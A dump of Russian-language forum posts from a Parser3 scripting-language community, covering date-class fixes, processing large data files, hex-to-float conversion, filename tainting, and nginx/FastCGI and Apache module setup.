$dLY[^cdate::create[$mData.LY;$cdate:es_locale]]\
и потом печатайте его не так:\
^cdate:print[$mData.LY;%h %d;$cdate:es_locale]\
а так:\
$dLY.local\
\
P.S. ещё в классе куча ошибок в английских названиях месяцев и дней недели :)\
P.P.S. ещё там захардкоден период с dst\
P.P.P.S. я исправлю ошибки написания, добавлю конструктор от cdate, внесу небольшие улучшения и обновлю класс чуть позже (но уже могу выслать по почте)."
"76805","Уж больно интересно."
"76806","убрал вывод данных из парсера :)\
\
сценарий получился примерно следующий:\
1)парсером выдается таблица с 50 значениями \
2) при скроллировании вниз, через аякс подгружаются ещё 50 значений (форматирую уже джавой)\
\
многие идеи из треда (например возраст в секундах) очень помогли\
\
думаю ближе к вечеру, обязательно вернусь к старому коду и внезу все предложенные оптимизации - результаты доложу"
"76807","можете заодно и такой вариант попробовать, он правда не в духе парсера но интересно будет ли работать:\
\
[code]\
$console:line[Content-Type:text/html]\
$console:line[Transfer-Encoding: chunked]\
$console:line[]\
\
^__chunk[\
 <!DOCTYPE html>\
\
 <table id=\"Print\">	\
 <thead>\
  <tr class=\"caption\">\
   <td>MCR\
   <td colspan=\"2\">Pbl\
   <td colspan=\"2\">Lt\
   <td>&plusmn^; pct\
   <td>Ld\
   <td>Dr\
   <td>Cr\
   <td>LY\
   <td>CN\
   <td>Cm\
   <td>Ant\
   <td>Sl\
   <td>Msg<br>age\
 </thead>\
 <tbody>\
 ]\
^if($mData && $mData is table){ \
 ^mData.menu{ \
  ^__chunk[\
  \
#     здесь код генерации строки вашей таблицы\
#     можно добавить где-нибудь ^if(!(^mData.line[]%20)){^rusage[^mData.line[]_line]}\
\
   ]\
 }\
}\
^__chunk[</tbody></table>]\
# zero-length chunk, eot\
^__chunk[]\
# just in case \
$response:body[]\
[/code]\
ну и вот этот простой метод придется добавить:\
[code]@__chunk[sData][dLength]\
$dLength(^sData.length[])\
$console:line[^dLength.format[%X]]\
$console:line[$sData]\
[/code]\
\
ещё можно попробовать закрывать tr и td, хотя по спецификации вроде не обязательно, да и размер передаваемого увеличится, но браузеры при парсинге воспринимают это дело как ошибку и сами ее втихую исправляют, можете ради интереса посмотреть \"View DOM source\" или \"View generated source\" в дебаггере. Вобщем, на больших таблицах у них это может занимать время.\
\
Я с таблицами уже лет пять дел не имею, но помнится некоторые браузеры не рендерили таблицу пока она не загружалась целиком. Надеюсь сейчас что-либо в этом плане изменилось в лучшую сторону."
"76808","- исправлены ошибки написания дней недели и месяцев в английском варианте\
- конструктор в качестве входного параметра теперь также понимает объект класса cdate, int, double\
- УДАЛЕНО создание внутренней переменной $local (с текстовым представлением даты) при конструировании объекта\
- при ^obj.print[;формат] теперь не происходит ещё одного, внутреннего, создания объекта cdate\
- ускорена работа конструктора в случае ^cdate::create[date-object]\
- для разбора строковых дат используется единожды созданные внутренний объект класса regex (нет множественной компиляций pcre-шаблона в случае парсинга большого количества дат)\
- добавлен метод sql-string\
- мелкие правки"
"76809","если просто начнёте использовать его -- уже получите выигрыш в скорости/памяти.\
если ещё замените вызовы print на динамические -- станет ещё лучше.\
удачи."
"76810","календарный цикл у нас вроде 28 лет, то есть через 28 лет в 2040 году у нас снова будет Среда, 9 Мая, 130 день года, итд. Следовательно мы можем взять например диапазон 1970-1998 за базовый, в конструкторе вычислять $смещение текущего диапазона относительно базового (2040-1970)\\28 и делать родной date create подставив вместо переданного года его эквивалент из диапазона - 2040 - 28 * $смещение.\
\
Итог - нам \"из коробки\" будут доступны все поля родного date и большинство родных методов с минимальной подкруткой - при выдаче год из диапазона нам нужно будет заменять на реальный. Чуть труднее с методами типа roll или daysbetween но так как мы точно знаем количество секунд (дней, месяцев) в нашем диапазоне, то думаю подкрутить тоже не составит труда."
"76812","я не пользуюсь этим классом, форматирование дат у меня в XSL-шаблоне, и расширенный диапазон тоже пока не нужен. И вообще, целочисленное деление там не подходит вроде, ибо это \"округление в сторону нуля\", а нужно наоборот, в сторону от нуля :) а такого оператора у нас вроде нет."
"76813","даже если изменить принцип работы (на что потребуется существенно больше времени чем потратил я на багфиксы и небольшую оптимизацию), то работу с TZ и dst корректно реализовать без взаимодействия с системой не выйдет.\
\
а без этого и браться за переделки незачем, imho.\
\
я взялся подправить класс в основном из-за багов. 4 ошибки написания слов -- многовато :)"
"76814","Здравствуйте.\
Есть файл размером примерно 200 мб в текстовом формате.\
Использую регулярку, которая создает таблицу с большим количеством строк (1393105).\
\
Если крутить таблицу через menu и никаких действий внутри не делать, то все сравнительно быстро отрабатывает, но при попытке обработать внутри цикла данные получаю ошибку переполнения памяти.\
Пробовал преобразовывать таблицу к хешу, а потом прокручивать его, но при обработке данных та же ошибка.\
\
При использовании ^memory:compact[] так и не дождался результата, т.к. процесс бесконечный.\
\
Есть ли какие-нибудь параметры конфига или хитрости, с помощью которых можно прокрутить получившуюся таблицу, обработать данные построчно и при этом не получить ошибку переполнения?"
"76815","Я особо не вникал, но по идее проблем с TZ там быть не должно, вообще все более менее проблемные вещи появляются при roll'ах на границах диапазонов, где родной date бессилен и приходится много считать вручную. Диапазон можно поднять до 56, тогда текущая дата еще лет 14 будет с нулевым сдвигом, что сильно упрощает конструктор и рассчеты. С обратной совместимостью могут быть проблемы - эмулировать юлианские методы выходит хлопотно и бессмысленно, а без них в том-же daysbetween придется создавать лишних два объекта cdate, итд.\
\
Вобщем да, если кому надо будет - сделают, а так большого смысла в этой переделке нет, как говорится \"работает - не трогай\" :)"
"76816","В целом для обработки таких объемов данных правильнее использовать потоковые утилиты Unix (sed/awk), которые не грузят файлы целиком, а обрабатывают их построчно.\
\
Парсер же грузит файл при чтении целиком, то есть это уже 200Мб. Если же в процессе работает какой-то код, то две рекомендации: 1. да, использовать memory:compact. Но понятно не каждую итерацию, а скажем каждую 1000 - 10,000 (смотреть как быстрее, поскольку каждый вызов потребляет время). 2. Если на выходе у вас планируется один результат (выходной файл), то раз в те же 1000 итераций дописывать сбрасывать результат в выходной файл. Примерно так:\
\
^if($i%1000=0){\
  ^result.save[append;result.txt]\
  $result[]\
}\
\
+ за циклом сохранить остаток\
^result.save[append;result.txt]\
\
Заодно и процесс работы будет нагляднее (можно смотреть на result.txt). Хранить результат целиком в памяти не стоит, поскольку он составляется из мелких кусочков строк и будет очень сильно фрагментирован (а значит работа с ним будет медленной)."
"76817","Построчно читать исходный файл не получится, т.к. он записан одной строкой, поэтому получаю таблицу значений регуляркой.\
Эта операция проходит быстро.\
Далее надо прокрутить всю таблицу и обработать каждую строку.\
\
В памяти хранится только получившаяся таблица строк, результаты пишу в файлы после обработки каждой строки.\
\
Попробую использовать ^memory:compact[] не в каждом шаге цикла, как у меня было.\
Спасибо за совет.\
\
Еще вопрос: лучше использовать счетчик во время прокручивания большой таблицы или ^table.line[], что будет менее ресурсоемко?"
"76819","[quote]Построчно читать исходный файл не получится[/quote]\
\
В любом случае парсер так не умеет. :) Я писал, что это ресурсоемко.\
\
[quote]результаты пишу в файлы после обработки каждой строки.[/quote]\
\
Слишком часто, лучше скажем раз в 1000 строк.\
\
[quote]Еще вопрос: лучше использовать счетчик во время прокручивания большой таблицы или ^table.line[], что будет менее ресурсоемко?[/quote]\
\
^table.line[]."
"76820","Спасибо."
"76823","Код в нескольких файлах, т.к. обрабатываю сразу каталог файлов и добываю разные данные.\
Вот простой пример:\
[code]$sText[START1234567890END]\
$tData[^sText.match[START((?!END).+?)END][g]]\
^tData.menu{\
	...\
	^if(^tData.line[] % 1000==0){\
		^memory:compact[]\
	}\
}[/code]"
"76825","я имел ввиду все же кусок реальных данных и более одного паттерна точно.\
По вашему примеру кстати не понятно зачем вы в регулярке забегание вперед используете, так:\
\
[code]$tData[^sText.match[START(.+?)END][g]][/code]\
\
тоже должно работать (и работать быстрее).\
\
Но основная мысль в том, что наверняка у ваших данных есть какие то разделители (в данном случае START и END), т.е. данные структурированы. Тогда их лучше загрузить в базу данных, приблизительно так (что произойдет очень быстро)\
\
[code]LOAD DATA INFILE 'filename' INTO TABLE `table`\
LINES STARTING BY 'START' TERMINATED BY 'END'[/code]\
\
и уже с этой таблицей работать"
"76826","Есть двоичный файл с последовательностью пакетов.\
Т.к. парсер не умеет работать с двоичными файлами, я перевожу исходник в хекс-вид, после чего регуляркой выдираю пакеты и получаю из них данные.\
\
В регулярке забегание осталось от моего шаблона, т.к. в моем случае подряд могут идти несколько пакетов одного типа.\
Если не исключать заголовок, то последующий пакет не будет обработан.\
\
По тем же причинам нельзя залить данные в базе, т.к. сначала надо получить сами пакеты, в которых минимальный размер данных - 2 символа.\
\
Если бы парсер работал с двоичными файлами, то все было бы намного проще, но увы, поэтому приходится переводить файл в хекс-вид, затем разбирать данные и получать из хекса integer, string и single."
"76827","... на каком-нибудь Питоне, который возьмет двоичные данные и сформирует из них CSV-строки. Потом их можно будет обработать Парсером или просто положить в СУБД, а там уже делать любую обработку с выборками. Работать это будет и быстрее и надежнее."
"76828","Если бы я знал какой-нибудь питон и т.д.:)\
\
Т.к. по работе пишу все на парсере, то и скрипт получения данных написал тоже на нем.\
Кроме того, скрипт должен работать еще у пары человек, поэтому просто загоняю в архив cgi-bin/* и рабочие файлы - работает."
"76829","Знание про двоичные и данные и hex у вас появились явно не при изучении парсера, значит какой то язык программирования вы наверно изучали раньше. Может написать скрипт на нём?"
"76830","Раньше писал на Basic, QBasic, Visual Basis, Delphi (немного), но с двоичными файлами не работал, да и на этих языках уже давно не пишу.\
\
Данные из хекса стал доставать сначала вручную, смотря в кодировку файла в Total Commander, потом уже написал функцию для получения данных разных типов.\
\
Дома и на работе из общих языков программирования есть только парсер, поэтому можно править скрипт из разных мест."
"76831","... и напишите простейшую программу, которая читает типизированный (file of record) файл и выдает на консоль записи в текстовом виде. Только не забудьте про выравнивание байтов в записях — FreePascal поддерживает различные варианты PackRecords.\
\
Фактически получите команду cat, но для вашего типа данных, что будет полезно при всяческой отладке. :)\
\
p.s. И с переносимостью особых проблем не будет — соберете бинарничек и будете его передавать вместе с Парсером."
"76832","Код приходится часто менять как дома, так и на работе, поэтому компил не подходит.\
Скрипт должен найти заголовки, определить длины различных данных и только после этого разобрать и переконвертить.\
\
Надеюсь, что парсер когда-нибудь сможет работать с двоичными данными.:)\
\
Все равно спасибо за совет."
"76833","Сделайте внешний инструмент, который разберет данные за вас. Все таки Парсер, не для таких целей. Да на нем можно сделать, но и чистой регуляркой можно решать какие-то математические задачи. И они будут работать, но вот эффективность у них будет нулевая."
"76835","... с помощью систем контроля версий.\
\
Что касается поддержки бинарных данных, то у Парсера концептуально нет работы с байтиками и, надеюсь, никогда и не появится. А для бинарных данных есть языки общего назначения."
"76836","Возможно, но для правки из разных мест парсер удобнее.\
\
В процессе написания и правки скриптов нахожу что-то новое, что использую в работе."
"76837","Дело не в контроле версий, а в возможности компилить, которая есть только дома, а править и тестировать надо дома и на работе.\
\
Насчет работы с двоичными файлами: не раз доводилось делать импорт данных из экселя, но с экселем парсер не работает, а в .csv/.txt народ путается с разделителями в разных версиях.\
Наверняка есть и другие примеры, когда понадобится работа с бинарниками для сайта."
"76838","Здравствуйте.\
Создал файл 1'2.txt, написал код:\
[code]	$tFiles[^file:list[;^^1.*?\\.txt]]\
	$fFile[^file::load[binary;^taint[file-spec][$tFiles.name]]][/code]\
Пробовал различные варианты подстановки имени файла:\
1. taint, untaint и apply-taint.\
2. Заменял апостроф на его код согласно ^taint[file-spec].\
3. Вписывал вручную различные варианты имени.\
\
Всегда получаю ошибку об отсутствии файла.\
Проверку -f \"...\" тоже не проходит.\
\
Как решить данную проблему?"
"76840","Скрипт не знает, какие имена у файлов, обрабатывает все по расширению в каталоге."
"76841","возможно, это глюк парсера, да.\
Но их ведь кто-то загружает туда? можно на этом этапе изменить имя файла."
"76842","[b]file-spec[/b]\
[quote]символы * ? ' \" < > | \
преобразуются в \"_XX\", \
где XX - код символа в шестнадцатеричной форме[/quote]\
\
вы не можете парсером обрабатывать файлы с такими символами в их именах.\
\
P.S. что в этом списке делает символ ' я не знаю, возможно он используется по аналогии с кавычками. в любом случа на *nix по моему можно разрешить эти символы путём корректного \\-эскейпинга.\
P.P.S. мы подумаем, что с этим можно сделать :)"
"76844","Есть скрипт, который обрабатывает файлы в каталоге.\
Скрипт запускается на разных компьютерах, файлы могут быть любые, обрабатывать надо все, при этом исходные файлы должны остаться неизменными."
"76845","Не вариант, т.к. на запускаемом компьютере может не быть базы данных."
"76846","За P.P.S. спасибо.:)"
"76847","Приветствую,\
\
Встала задача переделать сайт, написанный на parser3. Основная проблема в кодировке данных в базе — хранится в какой-то битой кодировке. Русские символы в базе выглядят примерно так:\
[code]&#208;&#157;&#208;&#190;&#209;‡&#209;&#338;&#209;&#381; &#208;&#178;&#209;‹&#208;&#191;&#208;°&#208;[/code]\
При этом на сайте отображаются вполне нормально.\
С парсером сам не работал, помогите раскукожить данные обратно, пожалуйста =)\
\
Кодировка таблиц utf8.\
\
MySQL server variables:\
------------------------\
character_set_client = utf8\
character_set_connection = utf8\
character_set_database = utf8\
character_set_results = utf8\
character_set_server = latin1\
character_set_system = utf8\
collation_connection = utf8_general_ci\
collation_database = utf8_unicode_ci\
collation_server = latin1_swedish_ci\
------------------------"
"76848","В прошлом сообщение символы не запостились правильно.\
\
http://postimage.org/image/mljoezn3p/"
"76849","Поэтому может это то, чем вы пытаетесь эти данные смотреть, не поддерживает UTF-8? :)\
\
Безотносительно: то, как парсер работает с базой зависит от кодировки парсерных файлов на диске ($REQUEST:CHARSET) и опций подключения к mysql. Все это задается в cgi/auto.p"
"76850","Поиграл с чарсетами и колэйшенами, экспорт-иморт и победа) Спасибо!"
"76851","Вернемся к обсуждению.\
\
Получившуюся таблицу на 1393105 строк не получается сохранить в файл через ^tData.save[tData.txt], не хватает памяти.\
\
Попробовал сделать по-другому:\
[code]$iTemp(^math:ceiling(^tData.count[]/250000))\
^for[iNum](1;$iTemp){\
	$tTemp[^table::create[$tData;\
		$.offset(($iNum-1)*250000)\
		$.limit(250000)\
	]]\
	^processData[$tTemp]\
}[/code]\
В итоге не дождался результата и вырубил скрипт, прошло почти 2 часа.\
\
Вопросы:\
1. Есть ли смысл в таком подходе, ведь создание таблицы на основе существующей должно приводить к ее проркутке и вырезанию по указанным параметрам?\
2. В методе @processData[] есть вызов в цикле ^process{^^${sMethod}^[$sData^]}, сильно ли это грузит, стоит ли отказаться в пользу вызова конкретного метода (^m1[$a1])?\
3. Есть метод @m1[hData;sData]. Как сделать так, чтобы при изменении параметров (hData и sData) внутри этого метода эти переменные менялись после вызова метода?"
"76852","[quote]Получившуюся таблицу на 1393105 строк не получается сохранить в файл через ^tData.save[tData.txt], не хватает памяти.[/quote]\
\
А зачем, ведь не она является результатом?\
\
[quote]Попробовал сделать по-другому: [/quote]\
\
Зачем для обработки части данных копировать данные из таблицы?\
\
Сделали кусочное сохранение рузультата? Если да, то с какой скоростью обрабатываются данные?\
\
[quote]^process, сильно ли это грузит[/quote]\
\
Да.\
\
[quote]Есть метод @m1[hData;sData][/quote]\
\
Если hData это хеш, то он и так передается по ссылке. Если sData это строка, она передается по значению. Можно передавать $.value[Data], тогда\
это будет тоже хеш."
"76853","[quote]Зачем для обработки части данных копировать данные из таблицы?\
Сделали кусочное сохранение рузультата? Если да, то с какой скоростью обрабатываются данные?[/quote]\
Если обрабатывать данные исходной таблицы в цикле, то скрипт вылетает из-за переполнения.\
Что в вашем понимании \"кусочное сохранение\"?\
\
[quote]Если hData это хеш, то он и так передается по ссылке. Если sData это строка, она передается по значению. Можно передавать $.value[Data], тогда\
это будет тоже хеш.[/quote]\
В методы могут передаваться числа, строки, таблицы, хеши и т.д.\
Есть какой-нибудь способ передавать любую переменную по ссылке? В некоторых языках для этого используют спецсимволы."
"76854","... То лучше не парится и добить в сервер еще 32 гига оперативы и памяти хватит наверняка."
"76855","[quote]Что в вашем понимании \"кусочное сохранение\"?[/quote]\
\
Мне казалось, достаточно подробно написал здесь: http://www.parser.ru/forum/?id=76816\
\
> Есть какой-нибудь способ передавать любую переменную по ссылке? \
\
Повторюсь, преобразуйте параметры в хеш, и будет вам счастье.\
\
[code]$params[ $.p1[value1] $.p2[value2]]\
^method[$params]\
$params.p1 - выведет \"value1 modified\"\
\
@method[params]\
$params.p1[value1 modified]\
[/code]"
"76856","мне кажется, что данную задачу вы с помощью парсера не решите.\
используйте другой инструмент (например perl), это нормальная практика."
"76857","Меня интересуют возможности парсера в работе с большии объемами данных, т.к. приходится на сайте писать импорт данных именно на парсере.\
Каждый новый скрипт писать на перле или другом языке займет много времени, которого немного на решение поставленной задачи.\
\
Скрипты импорта уже есть, написаны на парсере, советы по данной задаче использую для оптимизации уже имеющихся скриптов и написания новых.\
\
Спасибо за советы."
"76859","систематического import-а многомегабайтных файлов быть не должно, т.к. это достаточно долго при любой реализации.\
\
самая быстрая известная мне процедура import-а: прямая загрузка данных в БД с помощью load data [local] infile. существенно быстрее любой другой, опробованной мной. важный момент: во время import-а данных посетители могут видеть на сайте (мы-же про сайты говорим?) полную фигню, т.е. ускорить процедуру import-а данных настолько, насколько это вообще возможно -- важно. исключение -- первичная разовая загрузка данных, но и то, если речь идёт о нескольких часах загрузки, я лучше на perl напишу подготовку данных и проведу загрузку за 5 минут (я ведь знаю, что потом пришлют \"подправленные\" данные и загрузку надо будет повторить, причем возможно не раз).\
\
если речь идёт о <2 MB входных данных, я тоже буду писать import на парсере (мне так привычнее и быстрее).\
если речь идёт о 20+ MB входных данных, я на парсере import даже не начну писать, т.к. это просто потеря времени.\
если в промежутке -- возможны варианты. я посмотрю что за данные, что с ними надо сделать, как часто мне придётся их грузить и т.д.\
\
но ваш случай, с моей колокольни -- это однозначно НЕ парсер: слишком много МБ, слишком много строк, слишком сложный процессинг каждой строки."
"76860","Спасибо, буду думать."
"76861","...подготовьте с помощью замен в вашем любимом редакторе данные для загрузки с помощью load data infile и попробуйте их загрузить. засеките время (если ваш sql клиент вдруг не показывает время выполнения операции).\
\
желание делать иначе с большой долей вероятности отпадёт само собой."
"76862","Не все так просто.\
\
Рабочие скрипты должны взять информацию из удаленного источника, распарсить, сравнить результаты с тем, что в базе, и только потом уже при разных условиях для разных данных сделать какие-либо действия, например, записать результаты в базу.\
\
Вряд ли это можно сделать через ini-файл."
"76863","Получите, распарсите данные внешними скриптами, положите в базу (во временную таблицу) через load data или sql-выражения (разбиение на несколько частей и объединение их через конвеер даст еще и существенный рост производительности, поскольку задачи будут разбиты на несколько процессов). А потом спокойно обработайте в Парсере или в самой БД. И архитектура станет гибче и скорость увеличится в разы."
"76864","[quote]Рабочие скрипты должны взять информацию из удаленного источника, распарсить, сравнить результаты с тем, что в базе[/quote]\
\
вот сравнение с тем, что есть в БД, лучше делать средствами БД.\
Олег предлагает правильный вариант:\
1. простой скрипт, который просто готовит данные к загрузки во временные таблицы/БД\
2. быстрая загрузка\
3. проверки/слияния с использованием SQL запросов. не будет никаких \"бесконечных\" циклов и огромного количества SQL запросов (как на чтение так и на запись).\
\
при этом живая БД не будет долгое время находится в непотребном состоянии из-за длительного её апдейта. и процесс можно будет прерывать в любой момент на 1 и 2 шаге."
"76865","[quote]при этом живая БД не будет долгое время находится в непотребном состоянии из-за длительного её апдейта.[/quote]\
\
Ты не первый раз на этом акцент делаешь. :) Хотя innodb и транзакционность никто не отменял, мы для подобных задач активно этим пользуемся.\
А с тех пор, как появилась опция innodb_file_per_table, мы стали использовать innodb еще активнее. :)"
"76866","Полностью согласен — иннодб наиболее качественный и производительный движок для мускуля, тем более, что разработчики СУБД считают его основным. Тем не менее для временных таблиц часто эффективнее использовать майисам, особенно если данных очень много и нет суррогатных ключей. :)"
"76867","но я бы не стал грузить миллион записей в живую таблицу в рамках одной транзакции (а кто знает, сколько ещё всего надо загрузить в сопутствующие таблицы).\
что commit что rollback будут для сервера очень рессурсоёмкими."
"76869","После внесения изменений по предложенным вариантам парсерный скрипт успешно обработал файл 211 мб без ошибок, хотя раньше отваливался на фале 190-200 мб.\
\
Всем спасибо за советы."
"76870","ОС: Windows XP SP2\
Parser: Parser/3.4.1 (compiled on i386-pc-win32)\
Есть папка cgi-bin/* и index.html (кодировка UTF8-DOS):\
[code]########################################\
@main[]\
	$result[^math:convert[C27EE5F5](16;2)][/code]\
Запускаю из командной строки index.html и получаю 1111111111111111111111111111111, а калькулятор выдает 11000010011111101110010111110101.\
\
Если запустить index.html в консоли парсером такой же версии, только под линукс, то выводится правильный результат.\
\
Как сделать, чтобы парсер под Windows выдавал правильный результат?"
"76871","Для преобразования из строки в число используется библиотечная функция strtol, а число C27EE5F5 больше, чем допускает long на 32-х битных системах (но проходит в unsigned long). \"Много единичек\" получаются не только под Windows, но и под 32-х битной Linux версией.\
\
Так что в данном случае ошибки нет. Другое дело, что если в парсере обрабатывать '-' самим, то можно будет использовать strtoul, и тогда ваше число \"пролезет\". Наверное мы так и сделаем к следующей версии. \
\
А какая у вас задача? Не нужно ли вам на самом деле ^inet:ntoa(0xC27EE5F5)?"
"76872","Подскажите в какую сторону копать, чтобы понять кто виновен.\
Если трейсить, то как это лучше сделать?\
\
libapache2-mod-parser3 ставил из sid ветки debian, даже пересобирал его локально на виртуальной машине. Т.к. у готовых пакетов зависимости ушли далеко вперед.\
Полученные зависимости\
libc6 (>= 2.3), libgc1c2 (>= 1:6.8-1.1), libgcc1 (>= 1:4.1.1), libstdc++6 (>= 4.2.1), libxml2 (>= 2.7.4), libxslt1.1 (>= 1.1.25), parser3-common (=3.4.1-4).\
\
Пока выхожу из ситуации, что пхп работает как cgi там где нужен xsl, но сегодня при попытке зайти в модуль cmsms Gallery, апач упал совсем больно.\
*** glibc detected *** /usr/sbin/apache2: free(): invalid pointer: 0xb8c159d8 ***\
В общем хочу найти где они пересекаются, да полечить или хотя бы спросить как можно полечить."
"76873","У меня задача получить значение типа Single=IEEE 754.\
Если сделать конвертацию из HEX в BIN вручную, то далее получаю правильный результат, пока так и сделал."
"76874","> Подскажите в какую сторону копать, чтобы понять кто виновен.\
\
Никто не виноват, так \"получилось\". :)\
\
\"Что касается сути проблемы: это, увы, следствие использования системных библиотек ну и в каком-то смысле родовая болезнь\
модульности apache - когда два модуля apache хотят работать с одной библиотекой по-разному.\
\
Судя по всему, php грузится раньше и инициализирует работу с libxml/libxslt (в частности регистрирует расширения exslt). Для аллокации памяти используется malloc. Потом грузится парсер, и переключает методы работы с памяти на libgc. Потом он тоже регистрирует расширения exslt. И тут библиотека пытается освободить через новые функции работы с памятью (libgc) память, аллоцированную обычным malloc. Результат предсказуем.\"\
\
>или хотя бы спросить как можно полечить.\
\
Если собрать парсер с libxml/libxslt статически, то по-идее будет работать как надо (если конечно загрузится).\
А модуль вы используете потому, что у вас высокая посещаемость? Сами мы модуль практически не используем (расход памяти\
существенно увеличивается, а выигрыш в производительности при минимален, если речь идет о частоте вызовов до 10-ти в секунду)."
"76875","[quote]Если собрать парсер с libxml/libxslt статически, то по-идее будет работать как надо (если конечно загрузится).[/quote]\
Ясно экспериментировать не буду, перейду на cgi\
[quote]А модуль вы используете потому, что у вас высокая посещаемость? Сами мы модуль практически не используем (расход памяти\
существенно увеличивается, а выигрыш в производительности при минимален, если речь идет о частоте вызовов до 10-ти в секунду).[/quote]\
Ну мне кажется модуль все таки быстрее за счет, того что меньше запусков внешнего приложения. Я кручу это все на VDS, с одним ядром. Использую апач с apache2-mpm-itk для безопасности. Фактически небольшой такой шаред, для проектов которые мы сделали. Сейчас на нем живет 38 сайтов. Доля парсера и пхп примерно поровну.\
\
И по поводу репозитория в sid. Я связывался с человеком, который поддерживает его. Он сказал что дальше его поддерживать будет, пока это не занимает много времени и предложил мне перехватить этот процесс. Но держать парсер в репозитории дебиана сложновато. Мне кажется проще, поддерживать локальный репозиторий.\
Но ему можно сказать спасибо за то что он создал сами пакеты, и на основе этих пакетов можно создать свой репозиторий для двух веток, стабильной и тестовой. Правда я пока не сильно понимаю как, там все устроено. Но готов попробовать и разобраться в этом)"
"76876","Мне кажется без этого даже проще. Код ниже, на паре примеров из http://en.wikipedia.org/wiki/Single_precision вроде как правильно работает. :)\
\
[code]@hex2single[value]\
\
$svalue[0x^value.upper[]]\
$uint($svalue)\
\
$fraction((($uint & 0x07FFFFF)+0x800000)/0x800000)\
$exp((($uint & 0x7FFFFFFF)>>23) - 127)\
\
$result(^math:pow(2;$exp)*$fraction)\
if($uint & 0x80000000 > 0){ $result(-$result) }\
[/code]"
"76877","Вы неправильно прочитали мое сообщение: мне надо НЕХ перевести в Single.\
Функцию перевода я написал, в ней нужно только получить двоичное представление для дальнейшей обработки.\
\
Ваша функция выдает ошибку при вызове, а после правки опечатки еще и неправильно работает.:)\
[code]438FD00D=>-287.625\
C3611E0E=>-68056469327705772000000000000000000000\
\
438FD00D=>287.625\
C3611E0E=>-225.117[/code]\
Сверху ваш результат, снизу мой.:)"
"76878","[quote]Вы неправильно прочитали мое сообщение: мне надо НЕХ перевести в Single.[/quote]\
\
Прочитал правильно, но вот высказался непонятно. :) Метод, который для преобразования hex в single будет использовать промежуточное преобразование в двоичный формат, будет работать на порядок медленнее. Да и лишнее это преобразование.\
\
Что касается моего кода - да, для отрицательных чисел надо делать хитрее, со старшим битом сложности, особенно на 32-х битных платформах. Подправленная версия ниже.\
\
[code]@hex2single[value]\
\
$value[^value.upper[]]\
$negative(^value.length[]==8 && ^value.left(1) ge '8')\
^if($negative){ $high[0x^value.left(1)] $high($high-8) $value[${high}^value.right(7)] }\
\
$value[0x$value]\
$uint(^value.int[])\
\
$fraction((($uint & 0x07FFFFF)+0x800000)/0x800000)\
$exp((($uint & 0x7FFFFFFF)>>23) - 127)\
\
$result(^math:pow(2;$exp)*$fraction)\
^if($negative){ $result(-$result) }\
[/code]"
"76879","Если бы можно было сделать ^math:convert[...](16;32), я бы не заморачивался с промежуточным преобразованием.:)\
\
Теперь ваш пример работает, спасибо.\
Насчет скорости верю на слово, что будет быстрее, чем сделано у меня."
"76880","Приветствую.\
\
Пытаюсь настроить сборку Parser 3.4.0 + fcgiwrap 1.0.3 + nginx 1.0.5 на Ubuntu 12.04. Вроде бы все делаю, как здесь написано, но запустить не получается. nginx выдает 502 Bad Gateway, а в его логах следующая ошибка:\
\
[code]2012/05/17 23:32:46 [error] 3114#0: *1 upstream closed prematurely FastCGI stdout while reading response header from upstream, client: 127.0.0.1, server: localhost, request: \"GET / HTTP/1.1\", upstream: \"fastcgi://unix:/var/run/fcgiwrap.socket:\", host: \"localhost\"[/code]\
\
Вот мой конфигурационный файл для хоста:\
\
[code]server {\
\
	server_name localhost;\
\
	location / {\
		root /usr/share/nginx/www;\
		fastcgi_index index.html;\
\
		include		fastcgi_params;\
\
		fastcgi_pass	unix:/var/run/fcgiwrap.socket;\
\
		fastcgi_param	SCRIPT_NAME			/usr/lib/cgi-bin/parser3;\
		fastcgi_param	SCRIPT_FILENAME		/usr/lib/cgi-bin/parser3;\
		fastcgi_param	PATH_INFO			$fastcgi_script_name;\
		fastcgi_param	PATH_TRANSLATED		/usr/share/nginx/www$fastcgi_script_name;\
	}\
}[/code]\
\
Честно говоря даже и не знаю куда копать. Гугл подсказывает, что проблема связанна с тем, что FastCGI-сервер не проставляет двойной перенос строки (\\n\\r\\n\\r) после объявления типа контента и самим содержимым страницы:\
\
Content-type: text/html\
\
<html><body>Hello, world.</body></html>\
\
Может быть кто-нибудь подскажет как решить проблему?"
"76881","переносы могут быть виноваты в лучшем случае, если fastcgi действительно отдает заголовки и тело - вместо них он может отдавать любой мусор и ошибка по идее будет такая-же. Как исправить не знаю, пока могу посоветовать только:\
\
1. использовать [url=\"http://www.parser.ru/forum/?id=75372\"]исправленную и дополненную конфигурацию[/url], тот вариант что вверху.\
\
2. Убедиться что у вас установлены libfcgi-dev и spawn-fcgi."
"76882","Спасибо! Заработало! Первый вариант исправленной конфигурации nginx оказался тем, что нужно. :)"
"76884","Тогда ждем новую версию парсера с исправлениями.:)"
"76885","... ночные сборки доступны уже сейчас — http://www.parser.ru/download/nightly/\
\
p.s. Сборки делаются для unix-систем."
"76886","Тогда я в пролете, у меня Windows.:)"
"76888","Дома системой пользуюсь не только я, а на работе не я решаю, на чем работать.:)\
Поэтому подожду релиза под винду."
"76889","Доброе время суток !\
\
столкнулся с проблемой переноса hashfile при переносе сайта на другой хостинг.\
\
все файлы (pag и dir) копирую на новый хостинг, запускаю... и вместо 41 пары \"ключ-значение\" получаю 11 пар. А также изменения некоторых значений: \
например было $.body_background_image[/files/1/website_background.gif]\
стало\
$.body_background_image[/website_background.gif]\
\
В чем проблема ?\
hashfile у разных версий Parser совместимы ?\
на старом хостинге был 3.3.0 под FreeBSD (32-bit), на новом 3.4.1 под Linux (64-bit). Пути к DOCUMENT_ROOT естественно разные.\
\
---\
dimap"
"76890","напишите два простых скрипта: один достанет всё из имеющегося у вас hashfile-а и сохранит как tab-delimited файл, а второй проделает обратную операцию.\
\
каждый из скриптов пишется буквально в 5 строк."
"76891","Сергей, значит, тот парсер, что в репах идет без поддержки curl?"
"76892","спасибо за ответ. просто не мог понять - куда делать часть пар.\
по моей логике - если бы не читался файл (формат другой) - то не читался бы весь, а то получилось часть есть, а части нет.\
\
если не гарантируется - ну и ладно, перенесу конвертацией в tab-delimited...\
\
---\
dimap"
"76893","Парсер поддерживает curl с версии 3.4.[b]1[/b]"
"76894","Эх, в репах версия 3.4.0. :)\
\
А кто-либо из участников форума может повлиять на обновление версии Парсера в репах Убунты?"
"76896","После обновления версии парсера до 3.4.1 (CGI for Linux) появилась на ^if(def $form:поле_формы){ ... } ошибка: 'if' $.name outside of $name[...] [parser.runtime].\
Не подскажете куда копать?"
"76897","... а не одну условную строчку."
"76898","Ошибка:\
other.htm(5:26): 'if' $.name outside of $name[...] [parser.runtime]\
\
Текст:\
^if(def $form:other){\
